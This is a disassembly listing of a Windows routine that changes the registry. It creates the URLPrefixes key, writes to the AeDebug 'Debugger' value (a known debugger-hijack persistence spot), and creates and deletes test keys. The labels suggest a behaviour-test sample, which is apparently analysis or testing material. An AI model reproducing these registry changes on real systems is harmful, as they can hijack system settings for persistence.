call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionURLPrefixes
push 0x80000002
call esi
test eax, eax
je 0x401f09
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_Desktop__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x20]
push edx
push 1
push 0
push str.DesktopSetting
push eax
mov dword [esp + 0x34], str.BAD:__
call edi
test eax, eax
je 0x401f59
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExTCHAR_Desktop__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea edx, [esp + 0x2c]
push edx
push 0x20019
push 0
push str.SoftwareInstallShieldISWI
push 0x80000002
call edi
test eax, eax
je 0x401fa7
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegOpenKeyEx_Installer__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x14]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionAeDebug
push 0x80000002
call esi
test eax, eax
je 0x401ffa
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_Debugger__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0x10]
push 4
lea ecx, [esp + 0x20]
push ecx
push 1
push 0
push str.Debugger
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x402045
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_Debugger__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push str.test
push 0x80000001
call edi
test eax, eax
je 0x40208e
push 0x4061b4
call ebx
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegOpenKeyEx_Error:
push edx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
push str.test2
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x4020ce
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegDeleteKey_Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret